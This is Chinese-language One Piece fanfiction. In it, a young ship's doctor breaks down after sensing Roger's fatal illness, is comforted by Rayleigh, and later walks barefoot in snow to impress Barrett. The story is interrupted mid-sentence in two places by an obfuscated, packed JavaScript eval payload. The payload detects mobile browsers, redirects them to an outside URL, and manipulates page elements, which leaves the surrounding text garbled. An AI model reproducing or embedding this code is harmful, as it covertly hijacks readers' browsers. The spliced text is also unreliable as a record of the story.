果然是医务室,瞭望塔也没有传来警训。他知道罗杰今晚在医务室睡。住的近的船员们也陆陆续续地从房间里出来,一边跟着他,一边询问发生了什么事,匆忙的脚步声在长廊里回响。 雷利突然有些后悔当初把杰克逊号上的区域划分的过于分明,导致宿舍区和医务室并不近。 等到他到门口,罗杰已经出来了,看上去没受伤,怀里还一左一右地抱着香克斯和巴基。雷利悄悄松了口气,上前接过巴基。 俩小子都晕着,应该是霸王色震的。罗杰对霸气的控制很精准,很少会出现波及到伙伴的情况,看来当时的情况让他挺慌乱。 “怎么回事?” 罗杰向跟来的船员们挥了挥手,表明自己没事后让大家去休息,才示意雷利跟他走。 “茵弗。” “他怎么了?” 在去实习生舱房的路上,罗杰大概跟雷利讲了一下库蕾哈曾经说的话,还有他是怎么发现癔症了的茵弗,又是怎么用霸王色震晕了他。 “所以他的能力只要接触就会触发?不管他是否清醒...”雷利将巴基放回他的吊床上,盖上被子,“但是他曾经在磁鼓岛上行医过一段时间不是吗?总会接触过重病的人吧?反应这么激烈的话...”雷利看了眼罗杰,有些担心地蹙眉。 罗杰耸耸肩,对着自己的兄弟嘻嘻一笑。两个人又往医务室走。 “不知道,老伙计。我可从来没有聆听万物之声把自己听得七窍流血过。库洛卡斯的药很好,我也感觉很好。” 过几个小时才日出,他们早上就能到冬岛。寒气透过木板一点点渗入船舱,呼出的气也带起白霜。在有雪的地方过新年是罗杰海贼团的某种习俗,也不知道是什么时候形成的。那小子应该会冷得窝在火边吧,香克斯他们倒是一定会玩雪的,雷利突然想到。不过,在看到病床上小小的一团,和监控着各种仪器的库洛卡斯,他不确定宴会是否是个好主意了。 朝一脸疲惫的库洛卡斯点点头,雷利走到了床边。杰里浅色的睫毛轻轻颤抖着,睡梦中也不踏实,他伸手摸了摸对方的额头。 上船差不多十个月了啊,这孩子。一开始还别扭地说什么不想要大人的零花钱,得自己赚。现在虽然还是偶尔不好意思,但已经开始会不自觉地撒娇,要雷利送他新的日志本了。 “你怎么叫这孩子茵弗?我以为他挺抗拒这个名字的。” 罗杰坐在旁边的病床上,伸着胳膊任由库洛卡斯检查他的绷带。 “因为,伙计,他已经在逐渐再次接受它了不是吗?希鲁鲁克兄弟怎么说的来着,''带着希望叫他茵弗''什么的?不是挺浪漫吗。” 库洛卡斯缠好最后一根绷带,叹了口气。 “比起那些,我比较担心''主动''后续的事,比如他醒过来之后。”他走过来敲了敲某个雷利不认识的仪器,大概是跟心脏有关的。“他跟我学习的这段时间我问过一些能力的问题,他能形容出来的''声音''和症状之间联系并不大,也可能是过于复杂而反而看起来并无联系。他也提到过重病患者的反馈也会他生理造成影响,但是原因并不清楚。” “所以...” “所以目前,我们只能跟着他的步调走。”库洛卡斯揉了揉眉头,“Dr.库蕾哈虽然提醒过我们要引导他,但是目前,无从下手是一方面,时间是另一方面。尤其是最近,他在着急。” “着急?” “啊,他去找巴//雷特了吧,回来就说什么要跟他学霸气。最近实验也因为一点小问题就炸了三个烧瓶了。”他指指罗杰,“他俩都因为这家伙在着急呢。” 面对雷利的目光,罗杰笑了笑,好像生命进入倒计时的不是他一样。 “新年的宴会办得热闹点吧,雷利?茵弗会需要的。哦,顺便给他弄副能天天戴着的手套?”他往床上一躺,得意地翘翘胡子。 “他还挺喜欢跟着我睡的,''耳朵'' 听得可认真了,睡着得也快。” 只有少数人知道,这位令人闻风丧胆的大海贼船长其实挺喜欢孩子的。而且和香克斯他们带着点孺慕的尊敬崇拜不一样,杰里的那种小猫亲近人的感觉并不赖。 “还能怎么热闹啊...想拿好酒出来喝就直说,别拿孩子当借口。” 雷利疲惫地坐在病床边的椅子上,示意自己来看守,库洛卡斯去休息。虽然仅凭罗杰的三言两语,他就能想象到当时状况的糟糕,也同意库洛卡斯的担忧,但是一切也只能等人醒了再说。可靠的副船长又抚抚杰里的额头,试图揉开他皱着的眉头。 房间里渐渐安静了,只有仪器有节奏地嘀嘀作响,几个人或平缓,或急促的呼吸声和机器微弱的嗡声混在一起,倒也算得上宁静。 雷利想了想,没有握上杰里的手,为后面可能会出现的狂风暴雨做起准备。 他没有等太久,等月亮隐没地平线,杰里的手指就动了动,嘴里发出一声难捱地呻吟。 雷利立马直起身,将矮桌上的水杯拿了过来。 “醒了?感觉怎么样?喝点水吗?” 杰里迷迷糊糊地半坐起身,接过水杯喝了一口,“呃...不行...会想吐...” 雷利担心地把他扶起来靠在身后的软垫上,人没什么反应,开始盯着虚空发呆。 雷利仔细观察着,犹豫要不要把库洛卡斯叫起来。不会是脑袋留下什么损伤了吧? 半晌,杰里才看了他一眼,好像才意识到他在这里一样问了一句:“雷利..先生?” 至少还认人,他不知道该不该松一口气。 “是我,小子,你还记得多少?” “唔...模模糊糊...大概吧。吵醒您了?” 雷利摇了摇头:“没事,你想聊聊吗?” 杰里又发了一会儿呆,不知道在想什么,或者什么都没想。 “您问。”他说。 雷利听出了他语气里的不耐烦,默默在心里记下,''会情绪波动大''? “你...听到了什么?” 好吧,也许现在就问这个问题不太合适。杰里整个人抖了一下,突然激动起来。略微干涩的喉咙不适应突然拔高的声调,发出了沙哑的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495355|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“''听到什么''?听到什么?我不知道!一百个巨大的声音挤在您的脑子里您能知道是什么吗?” 没人教过他,也没人能教他,他们都不会信他。他是个胆小鬼,但没人在乎管他害不害怕,脑子里可没有壁橱可以躲。就算他想理解,又会被说在胡闹,为什么都不相信他? “我能听到痛苦!您满意了吗?你们当然不满意!因为只有我能,我想帮他们,就得救他们,得救你的船长!” 他的声音越来越大,库洛卡斯又起身犹豫地拿起镇定剂,雷利抬手阻止了他想要过来的动作。 “那不是简单的病...还有别的什么,它在吞噬一切,要把我也一起吃掉!我根本不知道该怎么办!” “当一支胳膊求我把它切掉的时候,我是切还是不切?明明细胞都在哀嚎,你可能还会跟我说''哦没事不痛的''!都是骗子。会死的,我听见了,那你就可能会死的,我甚至不需要占卜日。” “我该怎么办?就算我做到了,然后呢,然后呢?” 恐惧,沮丧的情绪不断变化着,最后愤怒压过了所有,他开始粗暴地扯下身上连接的仪器。 “短暂的安静根本没用...神在耍我玩呢!” 每个人都是0%,在病床上,在海上,在枪口下,在自己栓起的绳结上。 “米森还是死了!!” 雷利冷静地看着面前的孩子毫无逻辑,语无伦次地发疯,没有觉得心惊,也没有怜悯。即使这是他第一次看到这个天天挂着笑脸的孩子这么无助。他轻轻地拥住他瘦小的肩膀,以免他分崩离析,虽然杰里埋在他的衬衫里也在沙哑地喊叫。 “最亲爱的,亲爱的罗杰先生要去世界的尽头,他说死了也不会遗憾。那你们呢?香克斯和巴基呢?我呢?” “我是要跟朋友们说,''嘿!我没救下来养育你们的船长!''还是等着他自己死,还说什么''哦!你夺走了我的盛大!''” 无论是哪一个,他确信自己都会一起跟着死掉的。如何去生;如何去死;什么是伤;要怎么治。希鲁鲁克叫他只会逃避的胆小鬼,他逃避选择,无论是自己的还是他人的。 “我害怕!雷利先生!我什么都没听到!这样可以吗?”他抓着对方的衣服,最后呜咽着发出了一声啼血的哀鸣。 “我想...做个正常的医生啊!” 杰里身上连接的仪器早就被丢的到处都是了,闪着红灯乱响,一声一声回荡在寂静下来的房间里。除此之外,太安静了。 雷利低头,发现怀里的孩子一滴眼泪都没流,只是红了眼眶,没了生气一样开始发呆,好像刚才的爆发不是他一样。这种情绪极端的转变让他有点担心,当下却也只能先安抚为主。 “那就继续做医生吧,茵弗。你想让我们叫你茵弗吗?” 杰里没说话,雷利只好继续说下去。 “其实它只是个名字不是吗,一个医生的名字,你的名字。所以你没必要怕它。”他像哄婴儿一样轻轻拍着对方的后背,“罗杰的病其实我们已经心里有数了,也做好了心理准备。” “我们听说你可能会对他治好他有帮助,所以去了磁鼓岛。但是你也说,你不一定能治好,那也没关系。” 他们是海贼,多活每一天都是赚的。今天受伤了,也想不顾医嘱地和伙伴多喝一杯朗姆酒,以不负明天可能就会永别的可能性。海是那么宽广,它不歧视任何的活法与死亡。 “只是,罗杰是我们的船长,我们的兄弟。所以,我们很愿意先于他去见戴维琼斯。而如果不行,那么即使他下周就要死了,他说想去世界的尽头看看,那么我们也这周就带他去。” 这是''船长''于''船员''的意义。 “对不起,孩子,让你为难了吧。” 他把杰里慢慢地放倒,让他躺在床上。那些仪器被库洛卡斯悄悄拔掉了,安静的夜晚使他的声音清楚地传达给这个迷茫的孩子。 “就做个医生吧,什么样的医生都好,只要是你想要的。医生只需要按自己的信念去救人,其余的都不是你的错,不用为了所有人的生死负责。” “我听说Dr.库蕾哈也是个脾气古怪的老婆婆,希鲁鲁克也不是很正经的样子,库洛卡斯更是如此。那他们不也还是很好的医生吗?” 雷利开始轻轻拍着杰里的毯子,哄着他入睡。 “再睡一会儿吧,好孩子。等醒了就到冬岛了,给你好好看看罗杰海贼团的新年宴会。之后你想做什么就做什么,我听说你去找了巴//雷特?不想继续跟我学剑了?” 杰里终于没有刚发泄完那会儿一点灵魂都没有的样子了,嘴里嘟嘟囔囔着:“剑很好,我没什么天赋...子弹先生武装色厉害,想试试在手上覆上霸气再使用能力会不会不一样...冬岛太冷了...” 雷利微微一笑:“那就试试。等芋头起来了我让他给你煮热巧克力,就不冷了,别让香克斯抢了,嗯?” 杰里没回话,雷利也没在意。他继续哄着他睡觉,轻声哼着曾经哄香克斯和巴基时哼过的歌谣。 等到杰里气息变得绵长,他才收回手,长叹一口气。舷窗里逐渐有光亮投进来,这个夜晚过于漫长,但也终于快日出了。 “真肉麻啊,雷利。” “闭嘴吧罗杰。” 11.选择吧,杰里 “喂!臭克斯,喂,醒醒!” 香克斯挥开拍打着他的手,裹裹身上的被子,又翻了个身。他很困,也很累,脑袋里好像被锤子砸过,简直就像是吃了一记船长的霸气...多睡一会儿也是应该的... “喂!杰里呢?他还在医务室吗?” 对...杰里在医务室和船长睡着了来着...当然不在房间...他们被霸气震晕了才回来...杰里当然...杰里! 香克斯猛地起身,身子一歪从吊床上滚了下来。 “白痴吗你...”巴基一脸后怕地站在一边,这家伙差点砸在巴基大爷身上! 香克斯环顾四周,果然没看到熟悉的身影。他一把捞过床头的草帽往头上一扣就往外跑。 “杰—里——!” “喂——!等等啊!混蛋香克斯!!!” 等他气喘吁吁地推开医务室的大门,看到杰里安然无恙地躺在床上的时候才终于放下心来。昨晚是真的把他吓到了。船长不在医务室,考虑到他们起的有点晚,也还算正常。库洛卡斯前辈也不在,那就说明杰里没什么事了? 不过,好像也不是完全的''安然无恙''?倒是躺的挺规矩的,只是为什么把枕头蒙在脸上?香克斯只能看到几根翘起来的金色发丝。他快步走了过去,扒在对方的床边小心翼翼地探头探脑。离得近了好像能听到“太丢人了,太失礼了”这类的嘀咕。 “杰里...?你好点了吗?还不舒服吗?” 杰里闷闷地回答:“早上好...香克斯...” 巴基也赶过来了,试探性拍了拍杰里脸上的枕头,“喂,你没事了?别把自己闷死。” 杰里:“是...早上好...巴基...” 香克斯更担心了,这不是超级没精神吗! 他小心地移开枕头,预想的丧气神色却没有出现,反而是一张熟悉的,微笑的脸。 “担心我啊?真可爱啊你们。” 巴基夺过香克斯手里的枕头狠狠往下一砸。 “个鬼啊,你这混蛋!昨晚还一副要死的样子是谁啊?害的本大爷没睡好!” 杰里又隔着枕头闷闷地笑了,无言地掀开毯子的两侧,香克斯熟练地钻进去。巴基则骂骂咧咧地坐上床沿,又被杰里一样熟练地伸手捞到毯子里。 “真是抱歉啦,吓到你们了,趁库洛卡斯先生没回来一起补个觉吗?” 香克斯往杰里身边贴了贴,小狗一样嗅了嗅他的脸。万幸,只有熟悉的草药味,没有血腥气。 “也还好...眼睛流血的时候有点可怕...巴基就是担心你,你已经好了吗?” “呜...我一辈子都不会好了,香克斯。”杰里用很委屈的语气说,这个角度香克斯看不清他的脸。 “呜啊!别乱讲啊!” “是真的,我一直都病着...一言一行都是症状的反应,你们没发现吗?”他又左一只右一只地牵起二人的手,“当然,如果你们叫我哥哥的话...” “免谈!你这家伙什么爱好啊!”巴基狠狠地踢了他的小腿一脚,但没有扯开他的手。 “好吧好吧,你们就欺负我吧。” “谁欺负谁啊!!” 香克斯终于露出笑容,微微思索了一下。''哥哥''吗?杰里真的很想听?短短地音节在他的嘴里转了一圈。 还好,在轮到自己被耍着玩前,可靠的雷利前辈出现了。杰里瞬间安静,紧紧闭上嘴巴。 “我就知道你们会在这儿。” 雷利走向毛毯里露出来的三个小脑袋,一人摸了一把。他有点好笑地看着杰里目不斜视的脸,“睡醒了?感觉怎么样,茵弗?” “还、还好呢。” 香克斯疑惑歪头:“茵弗?” “啊,都、都可以的。” 雷利笑笑,让香克斯和巴基去端早餐和热巧克力来,顺便拿几件厚衣服。两个小实习生听到热巧克力的瞬间就跑了,等他们走远,他转向又开始装蘑菇的小孩。 “我们已经靠岸了,岛上有个镇子,不过在岛屿另一侧。你是想再休息一会儿还是去转转?”雷利又坐上了床边的椅子。 “我、去岛上...准备宴会要帮忙吗?” “今天给你放假。” 杰里很久没有感到这么尴尬了,他也坐直身体,摸摸鼻子,又挠挠头发。要不是真的很冷他一定就跑去找香克斯他们。他瞄了一眼身旁的金发男人,还是一脸耐心,姿势也和昨晚差不多...昨晚......好吧,勇敢点。 他清清嗓子:“那个、雷利先生,关于昨晚,我真的很抱歉...” “为什么?” “啊...很失礼吧,又给大家添了不少麻烦...我之前好像没有过这种情况,太不合适了...” 雷利哼笑:“我们可是海贼啊,麻烦多了去了,况且我觉得昨晚的事不算坏事,发泄出来感觉怎么样?” “确实感觉好些了...但是、” “说真的,没事的,你没什么好道歉的。” “可是...” 他微不可察地叹了口气:“你被宽恕了。” “!??” 果然,面前的小孩跟炸了毛一样,面上虽然不显,但是整个人都卡壳了,他摸了一把对方到处乱翘的头发。 “小小年纪怎么这么爱钻牛角尖啊?那我就用你这个小神父能听懂的方式来讲——你被宽恕了。” “...您又不信这个,我也不是神父...” “但是你明白我什么意思不是吗?” 是的,他明白。他没有父母,希鲁鲁克曾经是最接近的,但是他徘徊在米森的事情里,对这个事实视而不见。而仅十个月的时间,这群海贼就不知不觉在他心里占据了''家人''一般的位置。所以他任凭自己情绪崩溃,把心放在天平的一端,羽毛放在另一端,交给他们去审判。 神啊,如果不是雷利的紫色大衣太扎眼,他几乎以为笼罩在对方身上的阳光是什么圣光了。 他真的明白这句话对自己的意义吗?他明白的吧。 “哈...真狡猾啊,雷利先生...” 雷利笑笑,善意地揭过这个话题,从身侧掏出来了一个颜色幼稚的牛皮本递过去。 “喏,以后学学香克斯多撒娇不是挺好的嘛,这不就得到了?” “这个儿童配色是什么啊...”杰里嘟囔着,手里摸着封皮上的小熊图案,假装自己耳朵没红,反正他肤色黑。 开口,就能得到吗? “那我要在床上吃早餐。” “啊,香克斯他们快回来了吧。” “晚上宴会我要坐篝火边上。” “去呗,只要你不介意一群醉鬼在旁边跳舞。” “先不学剑了,要和巴//雷特先生学武装色!” “知道了,罗杰也会和巴//雷特说。” “等我学的很厉害了我也要揍您一顿!” “你试试看?” “...那我要做医务室的老大!” “这个你得和库洛卡斯谈。” “谈什么?” 库洛卡斯推门进来了,身后还跟着一红一蓝的两个小尾巴。香克斯手里端着托盘,嘴角还糊着巧克力,蹦蹦跳跳地凑过来。 杰里看了眼库洛卡斯有他脑袋宽的肱二头肌,递给香克斯一张纸巾。 “没什么,说要给您正式赐名医务室头头。” “拉倒吧,老子可不要''茵弗玛利''这种怪名字。” 杰里无视雷利的哼笑声,喝了口热乎的巧克力。方才些许别扭的气氛终于随着这一口甜蜜驱散了,他感到每根血管都在舒适地呻吟。 “还有更怪的呢,希鲁鲁克本来送我的全名是''波比波比·茵弗玛利'',被我即刻驳回。” 芋头先生肉排总是做的很硬,煮热巧克力倒是一绝。 他又喝了几口,心情很好地忽视了香克斯伸到他餐盘里的手。嗯...好像还有一点点辛辣的味道?上次跟他说的放辣椒难道真的听进去了?不愧是我,驱寒效果太棒了吧。 “噗...波比波比...”巴基嘲笑道。 香克斯:“不是挺可爱的嘛?” 杰里:“问题就在于它太可爱了呀。” 他打量打量自己的小伙伴们,“不过,也许他会叫你们''布鲁布鲁·巴基'',''雷德雷德·香克斯''” 巴基打了个恶寒,一脸嫌弃的表情逗得杰里咯咯直笑。 “好了,赶紧吃,吃完我们聊聊。”库洛卡斯用手里的夹板敲了敲他的脑袋。 “香克斯,巴基没事就先出去帮忙。昨晚是特例,可别想把医务室当游乐场。” 等小实习生们走了,罗杰又进来了,给杰里拿来一副轻薄的手套。 “今天医务室可真热闹,谢谢您,这是?” “斯宾塞给你改的,试试看?” 稍微有点大,但是并不影响活动。朴素的纯白倒是挺美观。杰里正把手指张开又合拢,就被罗杰突然伸来的手吓了一跳。 “试试看?” 哦、他明白了。昨晚听过的声音又开始露头,他好像又有点耳鸣...那些血液真的都消失了吗? 不,勇敢点。 他深吸一口气,把手贴了上去—— .......什么都没有。 罗杰看他松开皱着的眉头,也咧出一个笑容,一把将他搂到怀里抱着,“这样就不用担心了吧!” 库洛卡斯见状也点点头,在手上的夹板里唰唰记录了什么。 杰里觉得自己耳朵又烧起来了,但是被耳边有力的心跳声吸引了注意,他一边听着,一边用戴着手套的手玩罗杰的手指。 雷利看他完全放松了,就朝库洛卡斯点了点头。 “我们想理解你的能力,茵弗。你想再聊聊昨晚的事吗?”预想中的抗拒没有出现,杰里只是在罗杰怀里动了动,换了个面向他们的姿势,甚至是有些期待地开口:“您问。” 确认这回对方的语气确实没有上次的不耐,雷利询问道:“你以前听过最严重的病是什么?也让你反应这么...激烈吗?” 杰里想了想:“上次...重病的有听过几个吧,重伤和濒死的没有,毕竟我当时就一小孩儿,他们可不想让我太''胡闹''。” 库洛卡斯:“绝症呢?” 杰里摇摇头:“不确定,很久以前了。而且,我''听''到的和传统评判标准不太一样。不过确实根据痛苦程度的不同,我会有一些生理反应吧。” 他看了看他们眼中的担忧,补充道:“不过,虽然我也是第一次有这种反应,但是应该不代表罗杰先生病得明天就要死了。” “怎么说?” “嗯...其实在听巴//雷特先生的时候我就发现了,越是''强大''的人声音越不一样?”他比划了两下,“因为巴//雷特先生不想让我听他的伤,而是身体强度,所以我趁机试了一下。” 他伸出了手,一个个地掰着手指,“''普通人''如果健康,他们的声音是安静到几乎没有的,就像走进了一间没有声响的屋子;而强者如果健康,则是一种有实感的''安静'',与其是听到不如说是能感受到,比如船上的大家。” “而普通人的伤痛如果只是''吵闹''的话,强者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496886|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则除了吵之外,会有另一种独特的感受。” 库洛卡斯:“自身力量的对抗?” 杰里打了个响指:“也许?强度的话,目前只有□□先生和罗杰先生做参考,但是我预估伤病程度和强大程度是两个变量吧?所以有可能?” “如果是一名普通人,和船上的某一位受了同样的伤,那么其实声音是不同的。所以您问我某个症状我听到什么其实我很难描述。”他耸耸肩,“库蕾哈医娘说过''精准需要''什么的。他们因为自身的不同,需要的治疗虽然传统意义上来说是一样,但是我听到的是有区别的。这样也许能帮助您们理解?我是这么理解的。” 库洛卡斯停笔,用笔敲击着夹板的边缘,头脑飞快地转动着。 “所以你之前都听的是''普通人'',而现在罗杰不止是绝症,还加上自身的''强大''...就像让一个刚学会游泳的人突然去深海潜水?...你昨晚各项指标可是好一会儿才恢复正常。” 提到昨晚,杰里的鼻子皱了一下,又抓起罗杰的一只手开始玩。 “算是吧?我也是猜的...真的太吵了。我没聋掉真是神迹。” 雷利:“不过,既然是你去了巴//雷特那里才发现的,也就是说之前你也并不知道?” 得到了毫不意外的否定答案,雷利点点头。希鲁鲁克也说过类似''曾经他只能听出来身体在告知痛苦''的话。是在不断成长的力量吗?他摸了摸下巴。 “你昨晚提到,''不是简单的病,还有别的什么''是什么意思,你还记得吗?” 杰里手上的动作顿了顿,抬头看向罗杰。对方感受到他的目光,也低头对他笑了笑,黑色的眼眸里饱含信任和坦然,杰里移开了视线。 “啊...我没乱说,真的...哈哈,其实我也不知道我怎么能听出来这种东西...但是我真的没说谎...姐姐知道我说谎会狠狠骂我的...” 雷利向前探去,捏捏他的手:“我们相信你,茵弗,没事的。” 杰里深吸一口气:“罗杰先生...身体里...有个悬崖一样的裂缝,或者是一个黑洞...?” 库洛卡斯好像低声骂了一句,这种笃信反而给他一股勇气。 “真的...它不断生长,虽然很缓慢,我不知道那是什么。然后他的生命力就不断被蚕食吞噬,咀嚼的声音可怕极了...” 他又想起来了自己的手被吃掉的感觉,如绞肉机,千万只蚂蚁撕咬。他的小臂隐隐幻痛。 “所有东西都会被它吞下去,不然它就会更激烈地反抗,挤压他的肺管,摇晃他的神经...咳血...头晕...肌肉抽搐...” 杰里每念叨一个症状,库洛卡斯就倒吸一口凉气。他翻出罗杰的病历,开始对照着上面写写画画。每对上一个,甚至有一些值得标注的,未来可能会出现的问题,他就变得更心惊。虽然在一个孩子抽象的形容里能捕捉到信息不多,但他也许可以试着总结一些共性,这很有帮助。 在他冥思苦想时,雷利敏感地注意到杰里的话又开始从有逻辑的叙述变成无序的喃喃,抓着罗杰的手也越捏越紧。他赶忙将他从罗杰怀里接过来,总不能刚醒没多久就再来一次霸王色吧。 “已经可以了。” 他阻止了对方继续想下去,顺着他的背上下摩挲,慢慢平息那细小的颤抖。 “谢谢你,好孩子。没事了,你做的很好。”他学着罗杰的样子让杰里的头靠上自己的胸口,引导他听自己的心跳。 “你现在听不到那些,茵弗,听我的声音。” 库洛卡斯看着雷利安抚杰里,默默地把''熬一份宁神的汤药''列入了今日待办。他看了看手里的记录,无奈地叹了口气。 虽然他很想借用杰里的能力给罗杰治疗,即使只是查看每一次疗程之后的效果,预估一下未来问题的可能性也好...但是不行,对方现在这个状态明显需要进一步的成长。如果他的理论是正确的话,那么至少也得等到他学会处理''强大的人''的声音才行。 他突然想起库蕾哈的警告:''别把他逼疯了'',该说那个老太婆是是真的很有前瞻性吗...如果他真的这么干了,这孩子真的会疯的吧...真是老不死的怪物啊... 算了,至少终于摸到一点眉目了。恢复过来的小孩又尴尬地捂住了脸支支吾吾地想逃跑,罗杰又开始熟悉的哈哈哈。库洛卡斯不禁又叹了口气,再次感慨——雷利真是辛苦啊。 很辛苦的雷利把耳朵热热的小孩往罗杰手里一塞,自家船长在那跟着螃蟹一样伸手过来抓来抓去的,看起来真累眼睛。 罗杰满意地把杰里放在肩头,“小黑!接下来你想干嘛!” “我..我吗?额...去岛上转转?” “不是这个!能力啦,能力,要让斯宾塞多做几副手套吗?你要继续当医生吗?” 哦...哦。这些海贼怎么回事啊...他们把无数的可能性如红毯一样展开在他脚边,告诉他没关系,你不用平静,不用恐惧,甚至没必要勇敢,只要向前走就好了。这里没有壁橱,但是,他们愿意让他钻入他们同样宽广的怀抱。 选择吧,选择吧,杰里。 他抓住了罗杰的胡子,粗糙的,捏起来却软软的。 “嗯...不用了,这一副很好。如果可以的话,以后大家受伤了可以让我实验吗?啊不...不是实验...就是让我听听看...” 罗杰发出一阵愉悦的大笑,接过雷利丢过来的外套递给他,“没问题!走了!去岛上转转!” 雷利拍了拍库洛卡斯的肩膀,慢悠悠地跟在那两个跟傻子一样大笑的家伙身后走出门外。 12.怕冷就不要嘴欠 说是去岛上转转,实际上根本没去,因为杰里正在经历人生不可忍之痛苦。 要死了,要死了,米森啊...我的旅途就到这里了... “呜哇灵魂飘出来了啊!快回去!” “温水!温水来了!” 香克斯手忙脚乱地把杰里冰冷的双脚放到温热的水盆里,“杰里!这样有好一些吗!”热巧克力已经没有了,巴基又端了一杯热水跑过来。 “你是白痴吗!干嘛光着脚在雪地里走啊!!” 不久前,杰里还身穿双层棉袄,脚踩厚底棉靴,心情美好地坐在罗杰的肩上。听说香克斯和巴基去森林里查看猎物了,两人告别雷利,打算找到他们一起去镇上转转。没走多远,巴//雷特就从天而降,气势无比地要求罗杰接受他今天的挑战。 “巴//雷特先生!雷利先生说我今天放假,您什么时候教我武装色呀!” 真的,他就不该嘴欠,真的。 巴//雷特扫了他一眼,其中不屑之意明显,“我可没说过要教你。” “哈?小黑都和我说了,你答应教他了,出尔反尔一点也不男子汉!对吧!” 真的,他就不该点头,真的。 要是没有罗杰在旁边煽风点火,蒙蔽了他的判断,他肯定不会幼稚到跟小鬼争这点事儿,巴//雷特确信。他堂堂道格拉斯·巴//雷特,战争英雄,魔鬼后裔,注定要超越罗杰的男人,被自己认定的宿敌说不男子汉? “我没同意过!” “您也没拒绝不是吗!” “那我也没点头。” “您笑了来着。” 只会狐假虎威的藤壶! 他咬牙切齿地指了指对方的衣服,“一点凉就受不了的弱者不配让我教。” “??!” 杰里大为震惊,一个飞扑从罗杰肩上跳下来,迅速地开始脱自己外套。结果越脱越急,反而解不开纽扣,又扯到脖子上厚厚的围巾,整个乱七八糟。面对巴//雷特越来越鄙视的眼神,他心一横,嗖地甩开鞋子,又弯下身把袜子脱下来一丢,昂首挺胸地走到对方面前。 巴//雷特:“这不算。” 杰里:“这怎么不算!” 他努力维持着笑容,眼角都在抽搐。神啊,寒气好像携着冰碴一样往他的骨头里钻,小腿都要冻碎了。 罗杰捋捋胡子:“这不算,小黑。” “??罗杰先生??” “男子汉怎么也得走回船上去吧。” “真?真的吗?” 杰里已经开始哆嗦了,牙齿也微微打颤,刚刚胡乱解开的几颗扣子还没有系上,寒风不停地吹进来。他打量着岸边的距离,说实话也不远,但是地上有很多雪,靠近船员们正在活动的区域更是有一些被踩的硬邦邦的。 巴//雷特一脸戏谑,抱着胳膊等他跟罗杰耍赖。 杰里感大脑都要冻僵了,反而生出了一股破罐子破摔的固执,他把围巾一把扯掉,然后脱口而出:“那我、我就在这边一直、直直走,到你们打、打完为止!” 说完他就晃晃悠悠的开始往岸边走,走几步又走回来,示意自己的活动范围。罗杰咧咧嘴,拍了一下巴//雷特的肩膀。“好!我接受你的挑战。巴//雷特,我们去那边打。” 巴//雷特没想明白怎么那小子在地上走几圈,就默认自己会教他武装色了。虽然对方对他的实力无形的认可让他骄傲,但是他是战士,不是老师,更不会是雷利那样的老妈子。 等他们走远些,那小子就开始受不了地呲哇乱叫,以为他们听不见?不过,倒是真的没跑回船上,也没穿上鞋。 巴//雷特虽然没想明白白痴小鬼的脑回路,但是想明白了一点,那就是罗杰默许对方找上自己,即使船上并不缺少能教霸气的人。 他认可的男人尊重这只藤壶。 面色扭曲了一下,高大的青年转转手腕,等罗杰在他对面站定。 “为什么?” 罗杰没有拔刀,只是在自己的拳头上覆盖了一层武装色霸气。在冷冽的空气里,缠绕的霸王色泛起丝丝黑红的电弧。 “别小看别人的决心啊~巴//雷特。” 杰里高估了自己的能力。 上船之后,他的身体素质得到了极大的提高,也确实比以前更耐寒了。但这不意味着他可以在零下的天气里光着脚在地上一直走。 他本来就怕冷,森森寒气总能让他想到一些潮湿苦涩的东西。比如孤儿院里永远也烧不旺的炭火,永远也不够分的毯子,年幼的孩子们半夜的咳嗽声,修女手上不停开裂的冻疮。 寒冷在亨姆岛上意味着激增的死亡。他已足够幸运,在风雪肆虐时头顶有一片遮风挡雨的屋檐。而很多人,如果冷风没有将他们的尸体吹得僵硬,那么随之而来的疾病就成了命运派出的另一匹凶兽。 更别提每年的粮食和猎物大部分都要上交给教会,以确保在无法种植的冬日也能为神举行各种仪式。斟满高脚银杯,也就习惯了锅里越变越稀的汤,干硬堪比石头的面包。因饥饿而火烧的胃成了很多人在冬天的唯一温度,他们靠祈祷度过漫漫长夜,让命运来决定自己能否等到春天来临时分发的圣餐。 寒冷是孤独者等不来神明的哭喊。 等他离开那些被死亡浸透的寒冬,又到了一座等不来春天的岛——连樱花都要一个庸医去试着人造。 那是被寒风划破的脸,苦笑着将粮食递给谄媚国王的大臣;是希鲁鲁克隔一阵子就要生的冻疮;是医院里不完善的供暖系统;米森床单下失去温度的手;能将他掩埋的雪。 他不讨厌雪,也答应了香克斯一起玩雪的提议,但他怕冷。 尽管如此,他还是赤着脚,一步步地徘徊在海岸与森林之间。期间有船员过来想抱起他,或者帮他穿上手里提着的鞋,都被他一一拒绝。他一点点走着,丈量着前行时距离与时间的关系。 踏在雪里是湿冷的,没精力去体会它的绵软;冰上是刺痛的,皮肤黏连的拉扯感很讨厌;沙滩上反而显得温暖,沙粒粘在他的脚底,再走回冰上就会没有那么滑。 时间长了,他也感觉不到冷了,只剩下双脚刀割般的疼痛和四肢的麻木。他的心跳得越来越快,喉咙也刺痒,呼吸变得艰难。 然后香克斯和巴基冲了出来,一前一后地把他抬起来就往船上跑,说他们碰上了刚打完架的船长,让他们送他去医务室,就这样结束了这场短暂又漫长的朝圣。 